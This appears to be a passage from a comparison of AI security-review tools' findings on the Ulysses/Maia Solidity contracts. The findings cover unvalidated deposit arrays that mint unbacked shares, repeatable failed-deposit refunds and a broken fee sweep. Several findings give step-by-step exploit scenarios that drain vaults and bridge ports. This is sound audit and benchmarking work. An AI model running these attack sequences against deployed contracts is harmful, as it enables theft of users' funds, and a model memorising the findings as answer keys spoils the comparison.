src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:418-421```solidity title="src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:418-421"
) external payable returns (bool success, bytes memory result) {
/// FUNC ID: 1 (multicallNoOutput)
if (funcId == 0x01) {
Call[] memory calls = abi.decode(RLPDecoder.decodeCallData(rlpEncodedData, MAX_LENGTH), (Call[]));
```
Unlike adjacent handlers, it lacks
requiresAgent. The target supplies the victim's account and token-transfer calls.**3. Attacker instructions execute as the approved router** -
src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:423-424```solidity title="src/2-audit/ulysses-omnichain/MulticallRootRouter.sol:423-424"
//Call desired functions
IVirtualAccount(userAccount).call(calls);
```
The account's router check succeeds, enabling theft of unrelated balances without the user's signed authorization.
- Exploit scenario
-
Not specified.
- Recommendation
-
Add requiresAgent to anyExecuteSignedDepositMultiple and consistently authenticate every execution handler. Add appropriate reentrancy protection around signed execution and virtual-account approval lifetimes.
-
Multitoken lacks validations maia-3 · 9 writeups Critical
V12
Mismatched constructor arrays commit unusable basket state
src/2-audit/ulysses-amm/factories/UlyssesFactory.sol:123Predicted severity: High- Root cause
-
Neither
createTokennorERC4626MultiTokenenforces equality between asset and weight array lengths. Constructor validation uses the weight count rather than validating every stored asset and its coupled reverse index. - Impact
-
The malformed basket can accept LP tokens and mint shares while later reconciliation fails, creating a configuration-dependent custody and recovery failure. The supplied owner can attempt repair with a correctly sized
setWeightscall, but repair requires any newly required LP-token backing; the independent redemption and payout defects reported separately also remain. - Description
-
createTokenforwardspoolIdsandweightswithout checking that their lengths match, and the base constructor stores both arrays while iterating only overweights.length. Consequently,[P, Q]with weights[1]successfully deploys a registered basket with two assets but only one weight and no reverse-index entry forQ. A user can deposit a one-element amount array containingPtokens because both pricing and transfers iterate over that caller-supplied prefix. Subsequent full-basket operations and owner reconciliation index the absent second weight, so the successful deployment can accept custody that its stored configuration cannot consistently service. Longer weight arrays instead fail during constructor indexing and revert the transaction; this is an asymmetric validation defect, not a counter-rollback failure.
Codex Security (GPT-6 Sol)
An empty vault deposit can mint the maximum share supply for free
src/2-audit/erc-4626/ERC4626MultiToken.sol:182Predicted severity: Medium- Root cause
-
convertToShares uses a maximum-value sentinel but does not require the amount array to match the configured basket length. For an empty array it returns that sentinel as a legitimate mint amount.
- Impact
-
An unprivileged caller can corrupt a newly created vault's supply and block later positive deposits at zero asset cost; current redemption defects limit direct asset extraction.
- Description
-
An empty amount array skips the asset transfers and leaves the share calculation at uint256.max, which deposit mints on a fresh vault.
- Exploit scenario
-
empty array -> sentinel share calculation -> no transfers -> maximum share mint
- Recommendation
-
Require assetsAmounts.length to equal the configured nonzero basket length and reject zero received assets before minting.
Pashov (Claude Opus 5.5 high)
ERC4626MultiToken.deposit trusts the caller-supplied array length, so shares can be minted for partial or zero deposits
src/2-audit/erc-4626/ERC4626MultiToken.sol:54Predicted severity: High- Root cause
-
Missing
assetsAmounts.length == assets.lengthvalidation in deposit/withdraw and their preview helpers. - Impact
-
An attacker mints UlyssesToken shares without supplying the full basket (or anything at all with an empty array, if totalSupply is 0). They can then redeem those shares for other depositors' assets. Combined with redeem, this drains the vault.
- Description
-
convertToShares iterates over
assetsAmounts.length, notassets.length, and takes the minimum share value. receiveAssets also only pulls the entries supplied. With an empty array, shares = type(uint256).max and nothing is transferred. With an array containing only the first asset, shares are computed from that asset alone, and none of the other basket assets are deposited. previewWithdraw has the same problem: passing a short array makes the burned share amount depend only on the listed assets. - Exploit scenario
-
The attacker calls deposit([1e18], attacker) on a 3-asset UlyssesToken with weights [1,1,1]. shares = 1e18*3/1 = 3e18, but only 1e18 of asset0 is transferred. Redeeming 3e18 shares (once redeem pays the receiver) yields 1e18 of each asset, a 2e18 profit taken from other users.
- Recommendation
-
Require
assetsAmounts.length == assets.lengthin deposit, withdraw, convertToShares and previewWithdraw.
Pashov (Codex GPT-6 Sol high)
Incomplete basket deposits mint unbacked shares
audit/src/2-audit/erc-4626/ERC4626MultiToken.sol:182Predicted severity: High- Root cause
-
No equality check against the configured asset count.
- Impact
-
Unbacked and transferable shares dilute existing holders; an empty first deposit can corrupt total supply and block subsequent deposits.
- Description
-
The share conversion loop uses caller-supplied array length rather than the configured basket length. A short array prices only the supplied components, while receiveAssets transfers only those components. An empty array leaves shares at uint256.max.
- Exploit scenario
-
For two equal-weight assets, deposit only the first asset. The vault mints shares as if the basket contribution were complete while taking no second asset; deposit([]) on an empty vault mints the maximum share amount for zero payment.
- Recommendation
-
Require assetsAmounts.length == assets.length in all deposit and withdrawal entry points and reject empty baskets before conversion.
Devin Security
Deposit with an empty or short amounts array mints shares without paying for every asset
src/2-audit/erc-4626/ERC4626MultiToken.sol:182Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can mint Ulysses token shares for free, or while paying for only one asset of the basket, which dilutes every honest holder.
##### What's wrong
This is missing input validation.
convertToSharesandreceiveAssetsloop over the length of the caller'sassetsAmountsarray, not overassets.length. An empty array leavessharesattype(uint256).maxand transfers nothing. A one-element array prices shares from asset 0 alone and collects only asset 0.##### Who can do it
Alice deposits a full basket of three tokens into a UlyssesToken vault. Mallory, with any wallet, calls
deposit([], mallory).- The vault is a deployed UlyssesToken (anyone can create one with
UlyssesFactory.createToken, and existing ones are public).- No approval or prior balance is needed for the empty-array case.
##### What they get
Mallory receives
2^256-1shares for nothing. She holds nearly all of the supply, so Alice's shares become worthless anywhere the token is traded or used. Further deposits then overflowtotalSupplyand revert, so the vault is also unusable. With a one-element array she instead gets full-basket shares while paying for one asset.##### How it works
1.
depositcallspreviewDeposit, which callsconvertToShares(ERC4626MultiToken.sol:88, 210-212).2.
convertToSharesstartssharesat the max value and loops only over the caller's array (ERC4626MultiToken.sol:182-194).3.
receiveAssetsalso loops only over the caller's array, so it transfers nothing or only some assets (ERC4626MultiToken.sol:54-63).4.
_mintcredits the computed shares to Mallory (ERC4626MultiToken.sol:93). - Exploit scenario
-
Not specified.
- Recommendation
-
Require
assetsAmounts.length == assets.lengthindeposit,withdraw,convertToSharesandpreviewWithdraw, and loop overassets.length. Add tests thatdeposit([])and a short array both revert.
Devin Security (Deep)
UlyssesToken deposit accepts a short or empty amounts array and mints shares that are not backed by all assets
src/2-audit/erc-4626/ERC4626MultiToken.sol:81Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can call
depositon a Ulysses multi-asset token with a one-element or empty amounts array and receive a huge number of shares while paying for only one asset, or for nothing at all, which dilutes every existing holder and locks the owner out of the admin functions.##### What's wrong
This is a missing input length check that turns into unbacked minting.
ERC4626MultiToken.deposittakes a user-suppliedassetsAmountsarray, computes shares as the minimum over only the entries the user supplied, and pulls only those entries from the user. It never checks that the array covers every asset in the vault.##### Who can do it
Alice, an LP at Acme Capital, deposits equal value of three Ulysses pool tokens into a Ulysses Token (ULT) and holds ULT shares. Mallory, an attacker with a funded wallet and no special role, calls
deposit([x], mallory)with a one-element array holding only the cheapest of the three assets. IftotalSupplyis still zero she can even calldeposit([], mallory)and receivetype(uint256).maxshares for free.- The target is any
UlyssesTokencreated throughUlyssesFactory.createToken, which anyone can call, or an official one.- Mallory needs only enough of one underlying asset to pass the non-zero share check (or none if supply is zero).
##### What they get
Mallory mints shares as if she had deposited every asset, so the vault now has far more shares than backing. Alice's shares lose their claim on the other assets. The inflated
totalSupplyalso makesupdateAssetBalancestry to pulltotalSupply * weight / totalWeightsof every asset from the owner, soaddAsset,removeAssetandsetWeightsrevert or drain the owner's approved balance. If ULT is traded or accepted anywhere else, Mallory can sell the unbacked shares for real value. She can do this to every ULT vault on the chain.##### How it works
1. Mallory calls
ERC4626MultiToken.deposit(assetsAmounts, receiver)at ERC4626MultiToken.sol:81 withassetsAmounts.lengthsmaller thanassets.length.2.
previewDepositcallsconvertToSharesat ERC4626MultiToken.sol:182, which loops only overassetsAmounts.lengthentries and takes the minimum, so with one entry shares equalamount * totalWeights / weights[0]; with zero entries shares stay attype(uint256).max.3.
receiveAssetsat ERC4626MultiToken.sol:54 also loops only overassetsAmounts.length, so only the supplied assets are pulled from Mallory.4.
_mint(receiver, shares)at ERC4626MultiToken.sol:93 credits the full share amount.5. Later,
UlyssesToken.updateAssetBalancesat UlyssesToken.sol:105 computes the required balance for every asset from the inflatedtotalSupplyand tries to pull the shortfall from the owner. - Exploit scenario
-
Not specified.
- Recommendation
-
In
deposit,withdraw,previewDeposit,previewWithdrawandconvertToShares, requireassetsAmounts.length == assets.lengthand revert otherwise. InconvertToShares, also revert when the computed minimum is stilltype(uint256).max. Add a unit test that callsdepositwith a shorter array and with an empty array and asserts both revert, and a test that a full-length deposit still mints the expected shares.
Claude Security (Sonnet 5.5)
deposit() with an empty assetsAmounts array mints type(uint256).max shares for zero assets
src/2-audit/erc-4626/ERC4626MultiToken.sol:186Predicted severity: Medium- Root cause
-
Vulnerable symbol: convertToShares
Preconditions: Vault totalSupply is 0 (freshly created token), because a non-zero supply makes
totalSupply += type(uint256).maxoverflow and revert; No privileges are requiredOffending code:
shares = type(uint256).max;
- Impact
-
Free minting of an effectively unlimited share supply. Permanent denial of service for deposits into the affected vault and for all owner rebalancing and asset management. Total loss of share-accounting integrity. An attacker can front-run the first honest depositor of any fresh vault.
- Description
-
The caller-supplied
assetsAmountsarray is never checked to be non-empty or to matchassets.length.convertToSharesstarts fromtype(uint256).maxand only lowers it inside a loop over the caller's array length. An empty array skips the loop, sopreviewDepositreturnstype(uint256).max, which passes the!= 0check indeposit.receiveAssetsthen transfers nothing and_mintcredits the receiver the full amount. Also CWE-130: The untrustedassetsAmountsarray sets the loop bound in convertToShares (line 184) and in receiveAssets (line 55). Neither compares it toassets.lengthorweights.length. Shares are priced from only the supplied prefix, while the assets pulled are only that same prefix. An empty array leavessharesat type(uint256).max. - Exploit scenario
-
UlyssesFactory.createToken is permissionless and does not override deposit/previewDeposit, so every UlyssesToken inherits this behaviour. Right after a token is created, totalSupply is 0. An attacker calls
deposit(new uint256[](0), attacker).convertToSharesreturns 2^256-1, no tokens are pulled, and the attacker receives 2^256-1 shares for free. Because totalSupply is now at the uint256 ceiling, every laterdepositfails when_mintdoestotalSupply += shares(checked arithmetic in Solidity 0.8, per upstream solmate ERC20). The owner'saddAsset,removeAssetandsetWeightscallupdateAssetBalances, which tries to pull abouttotalSupply * weight / totalWeightsof each asset from the owner, and that reverts. The vault is permanently bricked and the attacker holds 100% of the share supply. - Recommendation
-
In
deposit,withdrawandconvertToShares, requireassetsAmounts.length == assets.length. Revert on empty input. Initialise the running minimum from the first element, not fromtype(uint256).max. Also validate that_assets.length == _weights.length, that weights are non-zero, and that assets are unique in the constructor. Also CWE-130: At the top of deposit, withdraw, previewDeposit and previewWithdraw, requireassetsAmounts.length == assets.length. Also reject a zero-lengthassetsarray. Initialisesharesfrom the first element instead of type(uint256).max. In the constructor, require_assets.length == _weights.length, nonzero weights and no duplicate assets.
Claude Security (Opus 5.5)
Unvalidated assetsAmounts length in multi-token deposit lets anyone mint unbacked shares, or type(uint256).max shares for free
src/2-audit/erc-4626/ERC4626MultiToken.sol:88Predicted severity: Medium- Root cause
-
Vulnerable symbol: deposit
Preconditions: A UlyssesToken (ERC4626MultiToken) is deployed with more than one asset for the short-array variant, or totalSupply == 0 for the empty-array variant; Attacker holds some of at least one underlying asset for the short-array variant; nothing is needed for the empty-array variant
Offending code:
require((shares = previewDeposit(assetsAmounts)) != 0, "ZERO_SHARES");
- Impact
-
Any unprivileged caller can mint vault shares without supplying the matching underlying. This breaks share accounting, dilutes other holders and forces owner-funded top-ups through updateAssetBalances. With an empty array on a fresh token, the attacker takes the maximum supply and permanently blocks deposits and admin rebalancing. Direct asset withdrawal is currently limited by separate bugs in redeem/withdraw (convertToAssets writes to an unallocated array and sendAssets transfers to address(this)). Once those are fixed, the unbacked shares can be redeemed for other depositors' assets.
- Description
-
deposit() takes the caller's assetsAmounts array and never checks it against assets.length. The array length bounds the share calculation in convertToShares (min over supplied entries only, starting from type(uint256).max) and the token pull in receiveAssets. A short array mints shares that represent the full basket while only some assets are paid in, and an empty array mints type(uint256).max shares while paying nothing.
- Exploit scenario
-
(1) Empty array: right after a UlyssesToken is created (totalSupply == 0), an attacker calls deposit([], attacker). convertToShares skips its loop and returns type(uint256).max. That passes the != 0 check, receiveAssets transfers nothing, and _mint credits the attacker with 2^256-1 shares. After that, every honest deposit()/mint() overflows totalSupply and reverts, so the token is permanently unusable. The owner's addAsset/setWeights then call updateAssetBalances, which tries to pull totalSupply-proportional balances from the owner and reverts. (2) Short array: with assets = [A,B,C] and equal weights, the attacker calls deposit([X], attacker) and pays only X of asset A. convertToShares returns X*totalWeights/weights[0] = 3X shares, the amount that would normally require X of each of A, B and C. The attacker's shares dilute honest depositors' claim on B and C. When the owner later calls setWeights/addAsset, updateAssetBalances pulls the missing B and C from the owner to back the inflated supply.
- Recommendation
-
In deposit(), withdraw(), convertToShares() and previewWithdraw(), require assetsAmounts.length == assets.length (revert otherwise). Iterate over assets.length rather than the caller-supplied length, and reject an empty array explicitly. Also validate in the constructor that _assets.length == _weights.length and that every weight is non-zero.
Vercel Security Review
Empty deposits can saturate a new UlyssesToken's supply for free
src/2-audit/erc-4626/ERC4626MultiToken.sol:184Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Empty input produces the maximum share amount** -
src/2-audit/erc-4626/ERC4626MultiToken.sol:184-187```solidity title="src/2-audit/erc-4626/ERC4626MultiToken.sol:184-187"
uint256 length = assetsAmounts.length;
shares = type(uint256).max;
for (uint256 i = 0; i < length;) {
```
An attacker can front-run a new UlyssesToken's first deposit with an empty array; no basket-length validation exists.
**2. Empty input also skips all collateral transfers** -
src/2-audit/erc-4626/ERC4626MultiToken.sol:54-57```solidity title="src/2-audit/erc-4626/ERC4626MultiToken.sol:54-57"
function receiveAssets(uint256[] memory assetsAmounts) private {
uint256 length = assetsAmounts.length;
for (uint256 i = 0; i < length;) {
assets[i].safeTransferFrom(msg.sender, address(this), assetsAmounts[i]);
```
**3. The new deposit path mints these unbacked shares** -
src/2-audit/erc-4626/ERC4626MultiToken.sol:91-93```solidity title="src/2-audit/erc-4626/ERC4626MultiToken.sol:91-93"
receiveAssets(assetsAmounts);
_mint(receiver, shares);
```
With zero existing supply this saturates totalSupply, causing subsequent positive deposits to overflow rather than mint shares.
- Exploit scenario
-
Not specified.
- Recommendation
-
Require a nonempty configured basket and exact input length before calculating shares or transferring assets.
-
Multiple redeems of the same deposit are possible maia-4 · 9 writeups Critical
V12
Failed deposits can be refunded repeatedly
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:237Predicted severity: Critical- Root cause
-
Refunding a failed deposit does not consume its lifecycle status or refundable balances in
_redeemDeposit(). - Impact
-
A failed-request owner can drain the branch port's wrapped-native reserves by repeatedly withdrawing the same refundable gas balance. Failed token-bearing deposits can likewise repeat their token refunds, although the management-request gas path alone supports direct unauthorized withdrawal beyond the original deposit.
- Description
-
Failed management requests can enter
BranchBridgeAgent.anyFallback(), which marks their stored depositFailedand deducts fallback costs from its gas balance.redeemDeposit()checks this status but_redeemDeposit()never changes it or clears the stored refundable amounts. Every subsequent call repeats the same port withdrawals, including the remaining wrapped-native gas deposit for no-token requests. The function is public, and withdrawals are sent to the stored deposit owner, so that owner can repeatedly redeem their own failed request. The branch port authorizes the bridge agent but maintains no per-deposit consumed flag to stop the repeated withdrawals.
Codex Security (GPT-6 Sol)
A failed bridge deposit can be redeemed repeatedly
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:237Predicted severity: Critical- Root cause
-
The redemption state machine has no terminal transition. The lock prevents nested calls but leaves subsequent transactions able to reuse the same failed deposit record.
- Impact
-
A depositor with one failed message can repeatedly mint hTokens and withdraw shared branch reserves.
- Description
-
The refund entry checks that a deposit failed but leaves it failed after refunding hTokens, underlying, and gas, so its owner can claim the same refund again.
- Exploit scenario
-
failed nonce -> unchanged status check -> repeated port mint/withdraw
- Recommendation
-
Set a terminal redeemed state before external refund calls and reject any later redemption of that nonce.
Pashov (Claude Opus 5.5 high)
BranchBridgeAgent.redeemDeposit never clears the deposit, so a failed deposit can be redeemed repeatedly
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:237Predicted severity: Critical- Root cause
-
Missing state update (
delete getDeposit[_depositNonce]or setting the status to a redeemed state) before the token transfers in _redeemDeposit. - Impact
-
Anyone can drain all underlying tokens and gas WETH held by the Branch Port and mint unlimited branch hTokens. Every user's deposit is at risk.
- Description
-
redeemDeposit only checks
getDeposit[nonce].status == Failedand then calls _redeemDeposit. That function mints the hTokens back, withdraws the underlying, and withdraws the deposited gas WETH to the owner. It never deletes the deposit or changes its status. The deposit staysFailed, so redeemDeposit can be called any number of times. - Exploit scenario
-
The attacker deposits 100 USDC through callOutAndBridge with params that make root execution revert (for example an unknown funcId or a bad hToken). Anycall calls anyFallback, which sets the deposit to Failed. The attacker then calls redeemDeposit(nonce) N times. Each call withdraws 100 USDC plus the deposited gas from the port, until the port is empty.
- Recommendation
-
Delete the deposit (or mark it as redeemed) before transferring tokens, and restrict redemption to the deposit owner.
Pashov (Codex GPT-6 Sol high)
Failed branch deposit can be redeemed repeatedly
audit/src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:237Predicted severity: Critical- Root cause
-
No terminal Redeemed status or deletion after refund.
- Impact
-
Repeated minting and withdrawal can drain branch reserves.
- Description
-
redeemDeposit checks Failed status but _redeemDeposit does not consume the record.
- Exploit scenario
-
Cause a deposit fallback, then call redeemDeposit on the same nonce repeatedly.
- Recommendation
-
Mark or delete the deposit before external refund calls; reject consumed nonces.
Devin Security
Failed deposits can be redeemed over and over, draining the branch port
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:237Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any user can make one deposit fail on purpose and then redeem it again and again, pulling every token the branch port holds.
##### What's wrong
This is a double-spend (missing state update).
redeemDepositonly checks that the deposit status isFailed, and_redeemDepositpays out the tokens but never changes the status or deletes the entry, so the same failed deposit stays redeemable forever.##### Who can do it
Mallory has a wallet and some USDC on a branch chain. She calls
callOutAndBridgewith 100 USDC and a payload that the root router rejects.MulticallRootRouter.anyExecuteDepositSinglealways reverts, and the root agent's multi-asset path always reverts on its slice length, so this is easy. The message layer callsanyFallbackon the branch, which marks her depositFailed. She then callsredeemDeposit(nonce)in a loop.- Mallory needs only a normal wallet and one small deposit.
- The root side must revert her message so that the fallback fires. Many inputs do this.
- The branch port must hold tokens from other users.
##### What they get
Each call sends Mallory her full underlying deposit again, mints her hToken amount again, and returns her deposited gas in wrapped native token. She can repeat this until the port is empty. That takes the locked funds of every user who bridged through this branch chain, plus the gas budget.
##### How it works
1. Mallory deposits through
callOutAndBridge, and the port pulls her tokens (BranchBridgeAgent.sol:482-497).2. The root execution reverts, and the message layer calls
anyFallback, which sets the status toFailedthrough_clearDeposit(BranchBridgeAgent.sol:828-831, 541-544).3.
redeemDepositchecks forFailedand calls_redeemDeposit(BranchBridgeAgent.sol:237-243).4.
_redeemDepositcallsbridgeInandwithdrawfor every token and withdrawsdepositedGas, but it never writes a new status (BranchBridgeAgent.sol:504-522).5. Mallory calls
redeemDepositagain with the same nonce, and the check passes again. - Exploit scenario
-
Not specified.
- Recommendation
-
In
redeemDeposit, require thatmsg.senderis the deposit owner. Delete the deposit, or set it to a terminalRedeemedstatus, before you make any port calls. Add a test that makes one deposit fail, redeems it once, and checks that a secondredeemDepositcall reverts.
Devin Security (Deep)
redeemDeposit never clears the deposit, so a failed deposit can be redeemed an unlimited number of times
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:237Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone whose branch deposit fails can call
redeemDepositas many times as they like and get paid in full every time, draining the branch port of every other user's tokens.##### What's wrong
This is a missing state update that enables a replay.
_redeemDepositpays out the deposit's hTokens, underlying tokens and gas, but never marks the deposit as redeemed or deletes it, so the Failed status check passes again on the next call.##### Who can do it
Alice holds USDC in the Fantom port. Mallory, an attacker with a wallet, deposits 10,000 USDC on Fantom with
callOutAndBridgeand a payload the root router rejects; the multicall root router reverts on every deposit-with-call, so this is easy. The anycall fallback marks her deposit Failed. She then callsredeemDepositrepeatedly.- A deposit in Failed status owned by Mallory. She can produce one at will on any remote branch chain by sending a deposit the root reverts on.
- The anycall fallback must be delivered to the branch so
_clearDepositruns.##### What they get
Every call returns her 10,000 USDC plus her gas deposit. She repeats until the Fantom port has no USDC left and does the same for every token and every remote branch chain. All depositors lose their funds. Because
bridgeInalso mints branch hTokens on each call, she can also inflate hToken supply without limit.##### How it works
1. Mallory calls
callOutAndBridgewith a real deposit (BranchBridgeAgent.sol:147-154, 324-346);_createDepositMultiplestores the deposit with status Success (471-497).2. The root reverts, for example because
MulticallRootRouter.anyExecuteDepositSinglealways reverts (MulticallRootRouter.sol:236-244), and anycall callsanyFallbackon the branch.3.
anyFallbackcalls_clearDeposit, setting the status to Failed (BranchBridgeAgent.sol:826-837, 541-544).4. Mallory calls
redeemDeposit; it checksstatus == Failedand calls_redeemDeposit(BranchBridgeAgent.sol:237-243).5.
_redeemDeposittransfers everything out throughBranchPort.bridgeInandBranchPort.withdrawand leaves the stored deposit untouched (BranchBridgeAgent.sol:504-522).6. Mallory calls
redeemDepositagain with the same nonce; step 4 passes again. - Exploit scenario
-
Not specified.
- Recommendation
-
In
_redeemDeposit,delete getDeposit[_depositNonce](or set a distinct Redeemed status) before transferring funds, and restrictredeemDeposittodeposit.owner. Verify with a test that fails a deposit, redeems it once, and asserts the secondredeemDepositreverts and the port balance decreased exactly once.
Claude Security (Sonnet 5.5)
Failed deposit can be redeemed an unlimited number of times because redeemDeposit never closes the deposit state
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:515Predicted severity: Critical- Root cause
-
Vulnerable symbol: _redeemDeposit
Preconditions: Non-Arbitrum branch chain, where Anycall fallback marks deposits as Failed.; Attacker can cause a root-side revert for their own deposit, which is trivial with an unregistered hToken.
Offending code:
IPort(localPortAddress).withdraw(deposit.owner, deposit.tokens[i], deposit.deposits[i]);
- Impact
-
Any user can drain every token (and wrapped-native gas) held by a branch Port, with repeated minting of local hTokens. This is wholesale theft of bridged liquidity.
- Description
-
redeemDeposit is gated only by getDeposit[n].status == Failed. _redeemDeposit pays out underlying, remints hTokens and returns gas WETH, but never changes status or deletes the entry, so the gate stays open. The owner (or anyone, since there is no caller check) can repeat the payout, each time taking assets that belong to other depositors from the Port. Also CWE-837: The deposit nonce is a one-time redemption token, but _redeemDeposit pays out the Port's tokens and wrapped gas without changing status or clearing the entry. redeemDeposit only checks status == Failed, so every call pays out again. An attacker can force a deposit into Failed state by sending a bogus hToken that Root rejects.
- Exploit scenario
-
1) Attacker approves the BranchPort and calls callOutAndBridge with DepositInput{hToken: an unregistered address, token: USDC, amount: D, deposit: D}, plus enough gas. 2) The branch pulls D USDC into the Port. At the root, CheckParamsLib.checkParams returns false (hToken is not a local token), so InvalidInputParams reverts. 3) Anycall delivers anyFallback to the branch. _clearDeposit sets status = Failed. 4) Attacker calls redeemDeposit(nonce) repeatedly. Each call withdraws D USDC and the leftover gas WETH from the Port to the attacker, so the first call refunds their own deposit and every later call takes other users' funds. A deposit with amount>deposit also remints hTokens on each call.
- Recommendation
-
Set the deposit status to a terminal state (for example delete getDeposit[_depositNonce] or mark it Redeemed) before making external calls. Also require msg.sender == deposit.owner. Also CWE-837: Consume the deposit when redeeming. Before any external calls, set the status to a terminal value (for example a new Redeemed state) or delete getDeposit[_depositNonce], and require that state in redeemDeposit. Also validate dParams.hToken and dParams.token against the Port registries on the Branch side so bogus deposits cannot be created.
Claude Security (Opus 5.5)
A failed deposit can be redeemed any number of times: the refund check (status == Failed) is never cleared, so the port can be drained
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:515Predicted severity: Critical- Root cause
-
Vulnerable symbol: _redeemDeposit
Preconditions: Non-Arbitrum branch, where deposits reach Failed through the anycall fallback; The attacker funds one deposit and makes the root execution fail, which their own params can do
Offending code:
IPort(localPortAddress).withdraw(deposit.owner, deposit.tokens[i], deposit.deposits[i]);
- Impact
-
Theft of all underlying tokens and WETH gas reserves held by the branch port, which belong to all users, and unbounded minting of branch hTokens that can be bridged to the root.
- Description
-
redeemDeposit is public and has no owner check. Its only gate is getDeposit[nonce].status == Failed. _redeemDeposit refunds tokens, mints hTokens and returns gas from the port, but never deletes the deposit or changes its status. Every later call passes the same gate and pays the refund again out of the shared port. Also CWE-841: The only gate on redeemDeposit is getDeposit[nonce].status == Failed, and anyone can call it. _redeemDeposit pays out the deposit's tokens, hToken mints and depositedGas WETH from the shared port, but never deletes the entry or changes its status. The one-time refund can therefore be repeated until the port is empty.
- Exploit scenario
-
1. On a non-Arbitrum branch, the attacker calls callOutAndBridge with a real registered token, e.g. deposit = 1,000 USDC, and enough gas. The root call is built to fail; for example, CoreRootRouter.anyExecuteDepositSingle always reverts. 2. Anycall delivers the fallback. anyFallback calls _clearDeposit, which sets status to Failed. 3. The attacker calls redeemDeposit(nonce) repeatedly. Each call transfers 1,000 USDC plus depositedGas WETH from the BranchPort to the attacker. If amount > deposit, each call also mints unbacked hTokens. 4. The attacker continues until the port is empty.
- Recommendation
-
In _redeemDeposit, delete getDeposit[_depositNonce] (or move it to a terminal Redeemed state) before transferring anything. In redeemDeposit, require msg.sender == getDeposit[_depositNonce].owner. Also CWE-841: In redeemDeposit, require msg.sender == deposit.owner (or route funds only to the owner) and either delete getDeposit[_depositNonce] or set a terminal status before paying out (checks-effects-interactions).
Vercel Security Review
Failed bridge deposits can be refunded repeatedly
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:504Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A failed request enables refunds** -
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:541-544```solidity title="src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:541-544"
function _clearDeposit(uint32 _depositNonce) internal {
//Update and return Deposit
getDeposit[_depositNonce].status = DepositStatus.Failed;
}
```
An attacker needs one deposit whose remote execution fails and completes fallback.
**2. Redemption checks only the unchanged failure flag** -
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:239-242```solidity title="src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:239-242"
if (getDeposit[_depositNonce].status != DepositStatus.Failed) {
revert DepositRedeemUnavailable();
}
_redeemDeposit(_depositNonce);
```
**3. Each invocation pays the same stored balances again** -
src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:515```solidity title="src/2-audit/ulysses-omnichain/BranchBridgeAgent.sol:515"
IPort(localPortAddress).withdraw(deposit.owner, deposit.tokens[i], deposit.deposits[i]);
```
The newly added
_redeemDepositnever consumes the entry or changes its status. The deposit owner can repeatedly reclaim collateral and remaining gas, or remint burned hTokens, draining reserves belonging to other users. - Exploit scenario
-
Not specified.
- Recommendation
-
Mark the deposit as redeemed and clear its refundable balances before making external calls. Reject subsequent redemption attempts for that nonce.
-
Broken fee sweep maia-5 · 6 writeups High
V12
Fee sweeping erases its payout before transfer
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:797Predicted severity: Medium- Root cause
-
Fee cleanup zeroes the transfer amount before reading it and uses the wrong asset form for the retained surplus. The payout cannot reconcile the accumulator with the WETH balance.
- Impact
-
Gas-fee surplus from management execution cannot be collected through the designated cleanup path, and the call erases the accounting claim without paying its beneficiary. This strands protocol fee value under the available implementation; it does not demonstrate theft of user principal.
- Description
-
Successful root execution records unused gas as
accumulatedFeeswhile retaining the corresponding balance as wrapped native tokens.RootBridgeAgent.sweepsets the fee accumulator to zero before using it as the amount insafeTransferETH. Every authorized sweep therefore transfers zero and destroys the tracked fee amount. The function also attempts a native transfer without unwrapping the WETH retained by fee accounting. The reviewed gas lifecycle exposes no other fee withdrawal method that pays this accumulated balance to the DAO.
Pashov (Claude Opus 5.5 high)
RootBridgeAgent.sweep zeroes accumulatedFees before transferring, so the DAO always receives 0
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:1111Predicted severity: Medium- Root cause
-
Wrong statement order; the value is not cached before being reset.
- Impact
-
Execution-gas fees collected by the Root Bridge Agent can never be withdrawn and stay locked in the contract permanently.
- Description
-
sweep sets
accumulatedFees = 0and then transfersaccumulatedFees(now 0) to the DAO. - Exploit scenario
-
After 10 ETH of fees accumulate, the DAO calls sweep(). It receives 0 ETH, and accumulatedFees is reset, so the ETH is stranded.
- Recommendation
-
Cache the amount:
uint256 fees = accumulatedFees; accumulatedFees = 0; safeTransferETH(daoAddress, fees);.
Pashov (Codex GPT-6 Sol high)
DAO fee sweep transfers zero ether
audit/src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:1111Predicted severity: Medium- Root cause
-
The payable amount is read after clearing storage.
- Impact
-
Collected execution fees remain stranded in the agent.
- Description
-
sweep clears accumulatedFees before reading it as the transfer amount, so the DAO receives zero. Excess bridge gas fees are accumulated from WETH-denominated gas proceeds and are not unwrapped for an ETH transfer either.
- Exploit scenario
-
Accrue fees then invoke sweep from the DAO address.
- Recommendation
-
Cache accumulatedFees, clear storage, unwrap that amount of WETH (or transfer WETH directly), then pay the DAO the cached amount.
Devin Security
sweep sets accumulatedFees to zero before it transfers the fees, so the DAO always receives 0
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:1111Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The DAO can never collect the bridge fees, so they stay locked in the contract.
##### What's wrong
This is a statement-ordering bug.
